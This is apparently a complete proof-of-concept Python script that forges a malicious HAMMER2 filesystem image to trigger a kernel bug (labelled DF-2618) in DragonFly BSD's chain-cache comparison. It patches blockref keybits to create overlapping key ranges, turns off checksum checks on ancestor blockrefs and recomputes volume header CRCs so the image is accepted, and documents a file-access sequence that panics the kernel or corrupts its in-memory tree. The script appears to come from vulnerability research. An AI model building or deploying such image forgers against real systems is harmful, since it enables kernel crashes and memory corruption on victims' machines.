#!/usr/bin/env python3
"""
DF-2618 PoC image forger -- overlapping key ranges in an on-disk blockref
array (sys/vfs/hammer2/hammer2_chain.c:313-320).

Base image (guest mkbase2618.sh): newfs_hammer2 -L testvol, 4 files a,b,c,d.
The PFS root directory inode's DIRECT blockset (inode block + 0x200, 8 slots)
contains, sorted by key: 4 INODE brefs (key = file inum, keybits = 0) then
4 DIRENT brefs (key = name hash, top bit set).

The bug: hammer2_chain_cmp() (hammer2_chain.c:97-118) treats OVERLAPPING
[key, key + 2^keybits - 1] ranges as a match (cmp == 0).  When the in-memory
chain cache holds a chain for one blockref and a lookup walks into a sibling
blockref whose range overlaps it, hammer2_chain_insert()'s RB_INSERT returns
the existing chain and the KASSERT at chain.c:314 fires (INVARIANTS builds).
On release builds the KASSERT is compiled out and execution continues with a
phantom chain (ONRBTREE set but never linked) which later wipes
parent->core.rbtree's root via RB_REMOVE (sys/sys/tree.h:641-652).

Forge: pick the three INODE brefs with the lowest consecutive keys B < C < D.
Patch
    INODE(B).keybits = ceil_log2(C - B + 1)     -> [B, B + 2^kb - 1] with
                                                    B + 2^kb - 1 in [C, D-1]
                                                    (range swallows C's key)
    INODE(C).keybits = kb2                      -> [C, C + 2^kb2 - 1] with
                                                    C + 2^kb2 - 1 >= D
With consecutive inums (diff 1): kb = 1, kb2 = 2, i.e.
    B -> [B, B+1]  (covers C = B+1)
    C -> [C, C+3]  (covers D = C+1, extends beyond B's end)
sorted order (by key) is unchanged, so hammer2_base_find()'s linear scan
still works.

Trigger semantics (deterministic):
  1. open(O_RDONLY) file b        -> pins chain(B) = [B, B+1] in the root
                                     dir chain's core.rbtree via the inode
                                     cache (ip holds the chain ref).
  2. stat file d (key D)          -> hammer2_chain_inode_find(D) does
                                     chain_lookup [D, D]:
                                       base_find:  B.end = B+1 < D -> advance
                                                   C.end = C+3 >= D -> break
                                       chain_find: chain(B).end < D -> miss
                                       -> chain_get(C) -> RB_INSERT ->
                                          cmp(C, B) == 0 (overlap) ->
                                          KASSERT panic chain.c:314
                                     (release build: phantom chain, later
                                      RB_REMOVE wipes rbtree root)

CRC handling (technique from DF-2616/DF-2617/DF-2620): the patched bytes live
in the PFS root inode data block; set methods=0x00 (CHECK_NONE) on the PFS
inode bref (which lives in the sroot inode's data block) and on the sroot
bref (which lives in the volume headers), then recompute all four volhdr
CRC32Cs.
"""
import struct, sys

# ---------------- CRC32C (matches sys/libkern/icrc32.c) --------------------
def _mk():
    poly = 0x82F63B78
    t = []
    for n in range(256):
        c = n
        for _ in range(8):
            c = (c >> 1) ^ poly if (c & 1) else (c >> 1)
        t.append(c)
    return t
_T = _mk()

def iscsi_crc32(data):
    crc = 0xFFFFFFFF
    for b in data:
        crc = _T[(crc ^ b) & 0xFF] ^ (crc >> 8)
    return crc ^ 0xFFFFFFFF

assert iscsi_crc32(b"123456789") == 0xE3069283

RADIX_MASK = 0x3F
BREF = 128
INODE_DATA_BLOCKSET = 0x200
VOLHDR_STRIDE = 0x40000          # 4 copies at 0, 256K, 512K, 768K
MAGIC = 0x48414D3205172011
T_EMPTY, T_INODE, T_INDIRECT, T_DIRENT = 0, 1, 2, 4

def bref_parse(buf, off):
    t = buf[off]
    methods = buf[off + 1]
    keybits = buf[off + 3]
    key, mtid, modtid, doff, utid = struct.unpack_from('<QQQQQ', buf, off + 8)
    return dict(type=t, methods=methods, keybits=keybits, key=key,
                data_off=doff, off=off)

def recompute_volhdr_crcs(buf, vo):
    c1 = iscsi_crc32(bytes(buf[vo + 512:vo + 1024]))
    struct.pack_into('<I', buf, vo + 0x1F8, c1)
    c0 = iscsi_crc32(bytes(buf[vo:vo + 508]))
    struct.pack_into('<I', buf, vo + 0x1FC, c0)
    cv = iscsi_crc32(bytes(buf[vo:vo + 0xFFFC]))
    struct.pack_into('<I', buf, vo + 0xFFFC, cv)

def find_volhdrs(img):
    offs = []
    for off in range(0, 4 * VOLHDR_STRIDE, VOLHDR_STRIDE):
        if struct.unpack_from('<Q', img, off)[0] == MAGIC:
            offs.append(off)
    assert offs, "no volume header found"
    return offs

def inode_name(img, iblk):
    nlen = struct.unpack_from('<H', img, iblk + 0x80)[0]
    return bytes(img[iblk + 0x100:iblk + 0x100 + max(nlen, 1)]).split(b'\0')[0]

def ceil_log2(x):
    n = 0
    while (1 << n) < x:
        n += 1
    return n

def main():
    if len(sys.argv) != 3:
        print("usage: forge_df2618.py <base.img> <out.img>")
        sys.exit(2)
    base, out = sys.argv[1:3]
    img = bytearray(open(base, 'rb').read())
    vols = find_volhdrs(img)
    print("[forge] volhdr copies at: %s" % ", ".join(hex(o) for o in vols))

    # --- sroot bref (root_blockref slot 0) in every volhdr copy -----------
    sroots = []
    for vo in vols:
        br = bref_parse(img, vo + 0x200)
        assert br['type'] == T_INODE and (br['data_off'] & RADIX_MASK), \
            "bad sroot bref in volhdr @%#x" % vo
        sroots.append(br)
    sblk = sroots[0]['data_off'] & ~RADIX_MASK
    assert all((br['data_off'] & ~RADIX_MASK) == sblk for br in sroots)
    print("[forge] sroot inode block @ %#x" % sblk)

    # --- locate PFS "testvol" inode bref under sroot (direct + indirect) --
    pfs_bref = None

    def try_child(br):
        nonlocal pfs_bref
        if br['type'] != T_INODE or not (br['data_off'] & RADIX_MASK):
            return False
        if inode_name(img, br['data_off'] & ~RADIX_MASK) == b'testvol':
            pfs_bref = br
            return True
        return False

    def walk_indirect(blk, radix, depth):
        nslots = min((1 << radix) // BREF, 1024)
        for i in range(nslots):
            br = bref_parse(img, blk + i * BREF)
            if br['type'] == T_EMPTY:
                continue
            if try_child(br):
                return True
            if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK) and depth < 4:
                if walk_indirect(br['data_off'] & ~RADIX_MASK,
                                 br['data_off'] & RADIX_MASK, depth + 1):
                    return True
        return False

    for i in range(8):
        br = bref_parse(img, sblk + INODE_DATA_BLOCKSET + i * BREF)
        if try_child(br):
            break
        if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
            if walk_indirect(br['data_off'] & ~RADIX_MASK,
                             br['data_off'] & RADIX_MASK, 1):
                break
    assert pfs_bref, "testvol PFS inode not found"
    iblk2 = pfs_bref['data_off'] & ~RADIX_MASK
    print("[forge] testvol PFS inode bref @img+%#x -> inode blk @ %#x"
          % (pfs_bref['off'], iblk2))

    # --- dump the PFS root inode's blockset, recursing into INDIRECTs -----
    # hammer2 pushes children into indirect blocks; the file INODE brefs
    # (key = inum, tiny keys) live under the INDIRECT covering [0, 2^63).
    inode_refs = []      # (key, bref, name, container_bref_or_None)
    indirects = []       # brefs of indirect blocks (for CHECK_NONE)

    def try_file_inode(br, container):
        if br['type'] != T_INODE or not (br['data_off'] & RADIX_MASK):
            return
        nm = inode_name(img, br['data_off'] & ~RADIX_MASK)
        key = br['key']
        inode_refs.append((key, br, nm, container))

    def walk_indirect(ibr, depth):
        blk = ibr['data_off'] & ~RADIX_MASK
        radix = ibr['data_off'] & RADIX_MASK
        nslots = min((1 << radix) // BREF, 1024)
        for j in range(nslots):
            br = bref_parse(img, blk + j * BREF)
            if br['type'] == T_EMPTY:
                continue
            if br['type'] == T_INODE:
                try_file_inode(br, ibr)
            elif br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK) and depth < 4:
                walk_indirect(br, depth + 1)

    for i in range(8):
        br = bref_parse(img, iblk2 + INODE_DATA_BLOCKSET + i * BREF)
        if br['type'] == T_EMPTY:
            continue
        print("[forge] root slot %d: type=%d key=%#018x keybits=%d" %
              (i, br['type'], br['key'], br['keybits']))
        if br['type'] == T_INODE:
            try_file_inode(br, None)
        elif br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
            indirects.append(br)
            walk_indirect(br, 1)

    for (key, br, nm, cont) in sorted(inode_refs):
        print("[forge]   file inode %-6r key(inum)=%d keybits=%d %s" %
              (nm, key, br['keybits'],
               ("in array @img+%#x (indirect @img+%#x)" %
                (br['off'], cont['off'])) if cont else "(direct slot)"))

    # pick three consecutive inodes that live in the SAME indirect array
    groups = {}
    for (key, br, nm, cont) in inode_refs:
        if cont is not None:
            groups.setdefault(cont['off'], []).append((key, br, nm, cont))
    assert groups, "no file INODE brefs found inside indirect arrays"
    chosen = None
    for off, lst in sorted(groups.items()):
        lst.sort()
        for k in range(len(lst) - 2):
            (kB, brB, nmB, cB), (kC, brC, nmC, cC), (kD, brD, nmD, cD) = lst[k:k+3]
            if kC - kB >= 1 and kD - kC >= 1 and kB < kC < kD:
                chosen = lst[k:k+3]
                break
        if chosen:
            break
    assert chosen, "no three consecutive file inodes in one indirect array"
    (kB, brB, nmB, cB), (kC, brC, nmC, cC), (kD, brD, nmD, cD) = chosen
    print("[forge] chosen: B=%s inum=%d  C=%s inum=%d  D=%s inum=%d"
          % (nmB.decode(), kB, nmC.decode(), kC, nmD.decode(), kD))

    kb = ceil_log2(kC - kB + 1)
    while kB + (1 << kb) - 1 >= kD and kb > 0:
        kb -= 1                      # keep B.end < D
    assert kB + (1 << kb) - 1 >= kC, "cannot make B cover C while staying below D"
    kb2 = ceil_log2(kD - kC + 1)
    while kb2 < 63 and kC + (1 << kb2) - 1 <= kB + (1 << kb) - 1:
        kb2 += 1                     # ensure C.end > B.end (extends past)
    assert kC + (1 << kb2) - 1 >= kD
    print("[forge] patch: %s [%#x,%#x] kb=%d ; %s [%#x,%#x] kb2=%d"
          % (nmB.decode(), kB, kB + (1 << kb) - 1, kb,
             nmC.decode(), kC, kC + (1 << kb2) - 1, kb2))

    def set_keybits(off, val):
        img[off + 3] = val

    def set_methods(off, val):
        img[off + 1] = val

    set_keybits(brB['off'], kb)
    set_keybits(brC['off'], kb2)

    # ancestors whose media blocks now hold unchecked bytes:
    set_methods(cB['off'], 0x00)         # indirect bref: covers patched array
    set_methods(pfs_bref['off'], 0x00)   # covers PFS root inode block (indirect bref edited)
    for br in sroots:
        set_methods(br['off'], 0x00)     # covers sroot block (PFS bref edited)
    print("[forge] CHECK_NONE on indirect + PFS + sroot brefs; volhdr CRCs recomputed")

    for vo in vols:
        recompute_volhdr_crcs(img, vo)
    open(out, 'wb').write(img)
    print("[+] wrote %s" % out)

if __name__ == '__main__':
    main()